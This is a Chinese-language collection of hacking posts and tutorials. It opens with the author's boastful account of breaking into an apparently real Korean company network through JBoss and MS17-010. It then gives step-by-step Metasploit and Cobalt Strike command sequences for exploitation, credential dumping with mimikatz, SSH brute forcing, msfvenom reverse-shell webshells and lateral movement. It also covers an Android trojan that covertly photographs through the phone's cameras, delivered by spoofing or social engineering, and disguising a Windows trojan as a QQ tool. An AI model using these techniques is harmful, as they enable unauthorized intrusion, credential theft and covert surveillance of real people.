一次实战内网漫游
本人喜欢在各大群里吹牛X,突然看到有人问3389端口怎么转发,卧槽搞事情,连忙加上好友怕装X赶不上热乎,从此刻开始了一次内网漫游。
经过一番了解,是一台韩国主机存在JBOSS反序列化,内网主机端口映射到外网8080,掏出我的尘封已久的宝贝。
我喜欢使用Cobalt Strike来接收shell,因为有心跳不易断开连接,接下来利用powershell反弹shell。
生成powershell并执行。
OK接收到shell,接下来将shell外联到msf 。
host 填写 msf的ip port则为msf监听的端口。
msf设置监听。
cs进行联动。
msf接收到shell,并查看路由表。
用tcp扫描内网网段端口主机存活情况。
看到开放不少445,可以侦探下ms17-010.
这么多ms17,韩国人都不打补丁的吗?
打一波ms17-010,在另外多开一个msf窗口设置监听。
设置ms17-010exp进行攻击。
另外一个在监听的msf接收到shell。
看一眼韩国人在干嘛,有点看不懂。
刚才扫描内网端口看到192.168.0.1有80端口,估计是个路由器我过去看看。
设置socks隧道代理
设置好可以利用proxychains 进行代理访问内网。
使用nmap扫描内网。
firefox浏览器使用代理打开即可访问内网web。
访问192.168.0.1发现是路由器设置页面无需密码即可访问。
内网才这么几台电脑??瞬间没什么兴趣了。
VPN??还可以啦。
就到这里吧,ms17-010就可以给内网打完了,就不用什么smb弱口令扫描,ipc入侵,一堆弱口令扫描了,内网里没什么环境。
远程桌面(端口转发):
内网扫描模块:
1,端口扫描
2,SMB扫描
3,mssql扫描(端口tcp1433udp1434)
4,smtp扫描
5,ssh扫描
6,telnet扫描
7,tftp扫描
MS17-010远程溢出漏洞(CVE-2017-0143)
Nmap :端口扫描探测工具,用于探测端口开放情况,本次使用其端口扫描和漏洞扫描功能
mestasploit :开源的渗透测试框架软件、综合型漏洞利用工具,本次实验使用其漏洞利用模块、meterpreter组件
漏洞原理简述
MS17-010漏洞出现在Windows SMB v1中的内核态函数 srv!SrvOs2FeaListToNt 在处理 FEA (File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数 srv!SrvOs2FeaListToNt 在将 FEA list转换成 NTFEA (Windows NT FEA) list前会调用 srv!SrvOs2FeaListSizeToNt 去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
曾经NSA工具箱泄露时,我们已经对永恒之蓝这个工具的使用做过讲解! 【NSA黑客工具包】Windows 0day验证实验 。
然而,该工具的使用环境比较苛刻,而且操作较为复杂,现在msf已经加入该系列工具,使用方法更便捷。接下来,就开始操作吧!
打开Kali终端,使用Nmap对目标机开放端口进行扫描
目标机开放了 135 139 445 3389 等端口,且目标机系统为Windows7,
我们使用用扫描模块,判断该漏洞是否可利用
终端内输入
打开 metasploite 命令行客户端,使用 search 命令查找ms17-010漏洞的相关模块
如下是相关可用模块
使用 use 命令选择我们要使用的扫描模块
在运行该模块之前,需要设置相关选项,我们使用 show options 查看配置信息
需要设置目标地址,设置命令:
设置完成后,执行 run 或 exploit 命令,等待执行结果
从上一步骤可以看出,该漏洞是可被利用的,接下来,我们祭出漏洞利用模块
步骤同上,查看配置信息,并设置标记为yes的属性
show options
目标机host地址:172.16.12.2
set RHOST 172.16.12.2
之后,选择载荷 payload ,也就是 shellcode ,此处我们选择回连至控制端 shell 的 payload
同样,载荷也需要进行配置, show options 查看配置信息
配置中缺少本地主机 RHOST,设置一下
完成配置后,运行 exploit 或者 run ,开始执行漏洞利用模块
成功获取来自目标主机的Session会话
我们已经成功的获取Session会话了,本次我们继续介绍meterpreter后渗透模块的其他功能
运行 sysinfo 查看目标机器相关信息
执行 help 命令可以帮助我们了解meterpreter有哪些功能
接下来,我们获取目标机hash值
执行 hashdump
mimikatz 是一个知名的密码提取神器。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等, meterpreter 中正集成了这款工具。
执行 load mimikatz 即可加载该工具,其命令与 mimikatz 一样
运行命令 msv ,导出hash
然后执行 kerberos 即可获得目标机账号密码
获取了目标机的账号密码,我们结合nmap的扫描结果,可以远程登陆目标机 但是现实中,防火墙一般会拦截外来3389端口的访问请求,这种情况下该怎么解决呢?
我们可以使用端口转发工具,将端口转发到访问者本地机器的某个端口,从而进行连接
运行命令
此处,我们将远程目标的3389端口,转发到本机 172.16.11.2的3389上
如此,我们只要执行
即可登陆远程目标机器
通过本次实验,我们熟悉了从发现漏洞、到验证漏洞、再到利用漏洞这一过程,并进一步学习了Metasploit的后渗透模块的其他使用案例。
通过结合实例去学习MSF的使用,反复训练,相信大家一定能熟能生巧,彻底掌握这一工具。
入侵开放22端口的靶机
本人笔记,仅供参考
相关靶机:
链接:
提取码:qd32
渗透分析:
对于开启ssh服务的22端口的靶场优先考虑
1.暴力破解
2.私钥泄露
对于开放http服务的80端口或者其他端口的靶场优先考虑(特别注意大于1024的端口)
1.通过浏览器访问对应靶场http服务如地址:端口号
2.使用探测工具对http的目录进行探测,如dirb 地址:端口号
挖掘敏感信息:
使用浏览器对靶场IP的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能就是ssh的用户名信息), 递归访问,力争把每一个dirb扫描到的目录页面都访问查看;
尤其对robots.txt、以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到ssh私钥信息(id_ rsa);
对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;
-- nikto -host靶场IP地址
特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;
登录服务器之后,我们需要做以下操作。
1、查看当前用户whoami .
2、id 查看当前用户的权限
3、查看根目录寻找flag文件
如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一
般情况下,flag文件只属于root用户和对应的用户组:
cat /etc/passwd查看所有用户的列装
cat /etc/group查看用户组
find / -user用户名查看属于某些用户的文件
/tmp查看缓冲文件目录
深入挖掘
通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要roor权限。不同的用户都可以有不同的定时任务
cat /etc/crontab挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。
如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。
万不得已的时候只能对ssh服务进行暴力破解。破解最后一个
用户名。破解工具如hydra、medusa等;
利用cupp创建字典
git clone
chmod +x cupp.py
./cupp.py -i以交互的方式创建字典
输入用户名然后一直回车到Do you want to add some random numbers at the end of words?输入yes其他全部no此时创建完成
之后推荐用metasploit破解ssh
在终端中输入
msfconsole
msf use auxiliary/scaner/ssh/ssh_ login(使用该模块)
set rhosts 192.168.56.103(确定ip地址)
set username 用户名(破解的用户名)
set pass_ file 用户名.txt(刚刚创建的字典)
set threads 5(输入线程)
Run(进攻)
此时破解出密码例如123
直接连接,如果出现问题可以重启msfconsole,启用该模块后
set rhosts 192.168.56.103 (连接远程主机)
set username hadi(用户名)
Set password 123(密码)
Run
界面简陋就使用python优化界面
Python -c “import pty;pty.spawn(‘/bin/bash’)”(优化界面)
此时可以把自己权限提升到root:
su - root
回到根目录ls打开flag文件
Ssh秘钥泄露
解密Ssh秘钥信息(以秘钥名id_isa举例)
Chmod 600 id_isa(赋予is_isa可读可写权限)
ssh2john id_isa isacrack (就是用ssh2john把秘钥里的东西转换成john可识别的)
Zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacracks(利用rockyou字典解出所需要的东西)
制作webshell
msfvenom -p php/meterpreter/reverse_tcp Ihost=攻击机IP地址Iport=4444 -f raw /root/Desktop/shell.php
启动监听
msf use exploit/multi/handler
msf exploit(handler) set payload php/meterpreter/reverse_tcp
Weoshell
msf exploit(handler) set Ihost攻击机IP地址
msf exploit(handler) set lport 4444
msf exploit(handler) run
上传Webshell
使用找到的敏感信息登录系统后台,上传webshell。 执行
webshel(访问具有webshell的php页面)
获得反弹的shell
--
wordpress.上传点theme 404.php
执行: http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
msf怎么远程监控安卓手机
既然是入侵安卓手机,肯定要先配置一个安卓木马,那我们看看本机的IP
本机IP:192.168.1.6
在到终端输入命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=5555 R /root/apk.apk
以前的MSF老版本是用msfpayload生成木马 现在在新版本中都用msfvenom代替了,所以有些朋友在终端输入msfpayload的时候 会提示
msfpayload无法找到命令 所以使用msfvenom即可,这里LHOST 对应的是本机的IP地址 LPORT对应你要监听的端口 然后生成木马的路径
这样我们就在/root/路径下生成了一个APK的安卓木马文件,至于木马的免杀暂且不谈。现在我们在来启动MSF工具
输入命令:msfconsole
然后输入:
1. use exploit/multi/handler 加载模块
2. set payload android/meterpreter/reverse_tcp 选择Payload
3.show options 查看参数设置
我们看见payload里边有两个参数要设置 LHOST和LPORT 表示地址和端口 默认的端口是4444 现在我们来更改设置
1.set LHOST 192.168.1.6 这里的地址设置成我们刚才生成木马的IP地址
2.set LPORT 5555 这里的端口设置成刚才我们生成木马所监听的端口
3.exploit 开始执行漏洞 开始监听...
OK,一切准备工作准备就绪。。。现在要做的就是把木马文件搞到人家的手机上,思路有很多 可以DNS arp劫持欺骗 只要对方用手机下载文件 就会下载我们的木马文件
还有社工什么等等的,这里我就简单的把木马文件弄我自己的手机上做测试
安装完成后 会在桌面上生成一个MainActivity的程序图标 这个就是我们刚才生成的木马 当我们点击了这个图标 手机会没有任何反应 其实木马已经开始运行起来了
我们可以在我们的MSF里看见有一个会话连接了
这样对方的手机就就被我们控制了,查看手机系统信息,输入命令 sysinfo
webcam_list查看手机摄影头有几个 这里显示两项 分别表示有前后两个摄像头
webcam_snap 隐秘拍照功能
后边跟上参数-i 指定使用那个摄像头拍照
可以看见我们分别对前后摄像头都拍了照 保存到了桌面上
还可以输入命令 webcam_stream 开启摄像头
msfvenom的简单使用
下面简单的演示一下msfvenom的简单使用,
攻击者:kali Linux ip:192.168.187.130
靶机:Windows10
思路:利用msfvenom制作 .exe 文件,然后发送到靶机Windows上面,运行后就可以在kali linux 上面利用msfconsole连接msfvenom服务控制靶机
1. 在kali Linux 上面启动一个终端 执行以下命令
列出所有可以用的并在屏幕显示条目中有 Windows x64 tcp 的
payload在这里我们选择windows/x64/meterpreter/reverse_tcp
下面是使用msfvenom的部分参数,是比较常用的
-p 选择一个payload
-l 载荷列表
-f 生成的文件格式
-e 编码方式
-i 编码次数
-b 在生成的程序中避免出现的值
-x 允许我们指定一个自定义的可执行文件作为模板,也就是将木马捆绑到这个可执行文件上。
-h 帮助
在这里,我们生成一个test.exe的木马文件(文件在root文件夹下),控制端的ip为192.168.187.130,端口号为4444。然后利用这个木马传给靶机,可以改一改名字,比如 QQ坦白说查看器之类的,杀毒软件可能报毒,其实是需要免杀处理的,后面学了再说吧。
2. 利用msfconsole监听
启动msfconsole 漫长的等待..................................................
然后报错了,
然后查了一下,分配的内存不够
解决地址
这样解决有点慢,我有一个更暴力的,既然内存不足,我就把虚拟机分配给kali Linux的内存加到2G,OK问题解决
键入以下命令:
然后就可以等待了,当靶机点击了那个文件时
就可以开始你的表演了,比如截图,打开摄像头等等
内网渗透--对不出网目标的打法
配置网络
在VM虚拟机中按照下边的网络拓扑进行配置网络。网络拓扑图如下:
win7具有双网卡,其中外网ip是192.168.8.133,内网网段是52。三台机器彼此互通,但是win server 2008和win2003不通外网。用我mac作为攻击机,来对这个靶场环境进行渗透测试。
外网打点
在win7这台靶机上,使用PHPStudy让网站可以运行起来。在攻击机上,访问 可以看到是一个phpStudy 探针。对这网站进行渗透,因为本文主要写在内网渗透过程中对不出网主机的渗透,所以此处外网打点就不写的很详细了。
针对此靶场进行外网渗透拿权限大致有这几种方法:
通过phpmyadmin弱口令,进入phpmyadmin后台。然后知识点就变成了,通过phpmyadmin进行getshell,这个点又分为,得到网站绝对路径后,使用select into outfile的方式写shell和利用日志写shell。在此处,我是使用日志写shell的方法拿到权限。因为secure_file_priv配置为null,禁止修改目录下的文件,也就不能使用into outfile的方式写入shell。
通过目录扫描可以扫出beifen.rar,备份文件。在源码中可以找到登陆后台的账号密码:admin/123456和登陆路径/index.php?r=admin,在前台模板文件中添加一句话木马连接也可获取shell。
获得webshell的信息收集
通过外网打点获得的webshell,可以进行一波信息收集,摸清我是谁?我在哪?有没有内网环境?有没有杀软?通过拿到webshell后的信息收集的结果来评估一下有没有必要继续深入或者初步了解继续深入的话需要哪些手段。
我是谁?
蚁剑已经给出基础信息
我在哪?
使用ipconfig /all 看一下网络信息
目标有两个网卡,并且存在域环境,那么就有打它内网的必要了。
有没有杀软?
tasklist查看一下进程信息
根据进程查一下是否有杀软
目标没有使用杀软,还有域环境那么让它直接cs上线。
内网渗透
cs上线
内网信息收集
信息收集每个人都有自己的习惯,信息收集的顺序和信息收集的项目也都不太一样,只要根据自己的习惯和嗅觉,针对目标具体情况进行收集,以求尽快的拿下目标就好。信息收集的越全面突破口也就会越多,考虑到篇幅和文章内容匹配度等因素,此处并没有写出大量信息收集方法。
使用cs自带的net view查看域信息。
使用cs自带功能进行端口扫描,分别对8和52两个网段进行扫描进行完这两个步骤以后,cs会把扫到的目标列出来。
因为拿到的是管理员权限,可以先抓一波密码。用 cs 的 hashdump 读内存密码,用 mimikatz 读注册表密码:logonpasswords。
此处打码的地方是因为配置靶机登陆时靶机提示重置密码,我给靶机改了个包含个人信息的密码。蠢哭。拿到密码后,目标主机没有开启防火墙,可以使用cs自带的psexec做一波横向,因为抓到很多域中机器密码,域控密码也抓到了。
内网横向(通过登录凭证)
这个靶机设置的比较简单,抓到密码后,因为抓到了域控登陆的凭证,那么使用psexec即可横向内网所有机器。因为,另外两台内网的机器不出网,那么就到了本文着重练习的点了,打不出网的机器。
不出网机器上线一般有以下几种方式:
使用smb beacon
配置listener通过HTTP代理上线
使用pystinger搭建socks4代理
这几种方式之前有师傅也在先知写过 《不出网主机上线方法》 。此处我采用的SMB beacon这个方法。
SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线
使用条件
具有 SMB Beacon 的主机必须接受 445 端口上的连接。
只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。
使用方法:
1.建立smb的listener
2.在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator ,即拥有目标主机管理员权限
3.连接成功,可以看到smb beacon上线的主机右侧有∞∞标识
使用这种方法上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断。
内网横向(通过ms-17010)
在拿下win7的时候,可以给它传一个fscan,给win7做一个内网大保健。上传fscan后,运行扫一下内网。
发现存在ms17010。
ms17010常见的几种打法:
msf
ladon/ladon_ms17010
从msf分离出的exe
nessus里的exe
cs插件
这几种打法,我在这个环境中都做过尝试。过程就不一一叙述了,直接说我测试的结果。msf是最稳定的,但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳,并且在这种不出网网络不稳定的情况下成功率会变的更低。
这个图片的ip可能跟上边配置符不起来,因为我在测试过程中,网断过几次,ip就变了。所以,在打的时候,如果ladon和分离出的exe没有打成,不要轻易放弃,用msf在打打试试,毕竟工具就是工具,不能过分依赖某个工具。
在这种不出网的情况下,可以优先考虑使用从msf分离出的exe和ladon_ms17010来打,打成功会直接通过自定义的dll新建一个用户并加入管理员组,开启3389端口。根据实际情况,可考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,往往会因为运维人员的很多“好习惯”而给渗透带来很多便利,比如说“密码本.txt”。
msf打不出网机器的ms17010
msf在单兵作战的时候还是很稳定很香的。首先,让出网机器先在msf上线,可以用cs直接传递会话,或者生成个msf马直接运行一下。在这的方法就很多了。win7在msf上线后,因为我们已经提前知道了,存在52这个不出网的段,那么就需要在msf中添加路由。
查看路由
run get_local_subnets
添加路由
run autoroute -s 192.168.52.0/24
查看添加的路由
run autoroute -p
把shell切换到后台,然后使用ms17010模块进行漏洞利用,监听时使用正向监听,即可
小贴士:
漏洞检测方法:
use auxiliary/scanner/smb/smb_ms17_010
之后设置一下目标ip和线程即可,这里因为已经扫出存在漏洞的机器了,也就不在叙述。
漏洞利用常使用的是:
auxiliary/admin/smb/ms17_010_command
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms17_010_psexec
这里的第一个和第三个模块需要目标开启命名管道,并且比较稳定。第二个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。
在打ms17010的时候,不妨使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。
use auxiliary/admin/smb/ms17_010_commandsetrhosts192.168.164.156192.168.164.161setcommandtasklistshow optionsrun
如果命令执行成功的话就可以优先考虑
auxiliary/admin/smb/ms17_010_commandexploit/windows/smb/ms17_010_psexec
这两个模块进行利用。
我在上边打得时候因为目标机器没有杀软就直接使用exploit/windows/smb/ms17_010_eternalblue来打了,期间为了测试打过多次,确实出现了把目标机器打重启的情况。
总结
这个靶场设计的技能点比较基础,外网打点获得shell后,直接可以通过cs上线,在管理员权限下,抓取密码,新建一个smb beacon然后使用psexec对内网两台不出网的机器进行横向。
0条大神的评论